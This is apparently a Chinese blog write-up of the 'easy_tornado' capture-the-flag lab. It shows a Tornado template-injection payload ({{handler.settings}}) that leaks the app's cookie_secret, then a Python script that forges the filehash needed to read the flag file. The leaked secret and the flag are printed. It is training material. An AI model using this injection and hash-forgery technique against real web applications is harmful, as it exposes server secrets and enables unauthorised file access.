easy_tornado

进入网址,看到以下内容

在这里插入图片描述
首先,习惯性的访问一下 robots.txt,看一下有没有什么好东西

在这里插入图片描述
看来不存在
返回,f12,发现body中的三行文字,并且分别指向三个地址 ,依次打开
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

首先,很容易的观察到,我们请求的网址都是由filename以及 filehash组成的

再从提示中,我们能够得到filename,以及猜测hints.txt中的公式就是filehash的计算方法,

但cookie_secret到底是个什么东西,别急,此时我们welcome.txt中的提示还没有使用,

后面百度搜索,看了下大佬们 wp,发现存在一种叫STTI模板注入,

原文地址:https://blog.csdn.net/qq_43678005/article/details/108108520

而render是python中web框架tornado里面一个方法,用来找到模板文件,渲染文件,从而显示页面(python+web框架之tornado的简介,感兴趣的朋友可以自己去了解下)

在了解STTI模板注入后,(作为学习者,一定要先了解相应的知识后再尝试着自己复现漏洞,这才是掌握技能的关键,更是一种良好的学习习惯),我们开始尝试注入

我们先找到注入点

在这里插入图片描述

尝试下注入

在这里插入图片描述
在这里插入图片描述

简单的尝试了一些后,猜测可能对表达式进行了过滤,

在根据,Tornado框架的附属文件handler.settings中存在 cookie_secret,

于是构造playload

msg={{hander.setting}}
# 完整网址为:http://33d2f68b-dab4-4588-9387-e8f6bc63abd6.node3.buuoj.cn/error?msg={{handler.settings}}

回车后,得到信息
在这里插入图片描述

得到了关键信息后,再对信息进行提示所给的公式进行加密

此处我使用了 python3.6进行公式加密

import hashlib
filename = '/fllllllllllllag'
""" 
	此处有个小插曲,hints.txt中的提示为md5(filename),
	所以第一次是使用的 fllllllllllllag (及没带入路径) 作为md5的加密对象,
	后面失败了几次,把路径加上才成功
"""
cookie_secret = '4a9b71f4-b003-41e0-a161-0030c57f1af6' 

md_5 = hashlib.md5()	# 创建md5对象
md_5.update(filename.encode('utf-8'))
md5_filename = md_5.hexdigest()     # 得到filename的md5加密结果
print(hashlib.md5((cookie_secret+md5_filename).encode('utf-8')).hexdigest()) # 得到最后结果

最后将md5加密结果以及文件地址带入url,?filename=/fllllllllllllag&filehash=10ee2b779502b8df63ee41b5623d8d75
在这里插入图片描述

得到flag为

flag{81bf23ec-253f-42da-b142-79ff26cd9e5c}
已标记关键词 清除标记
相关推荐
©️2020 CSDN 皮肤主题: 深蓝海洋 设计师:CSDN官方博客 返回首页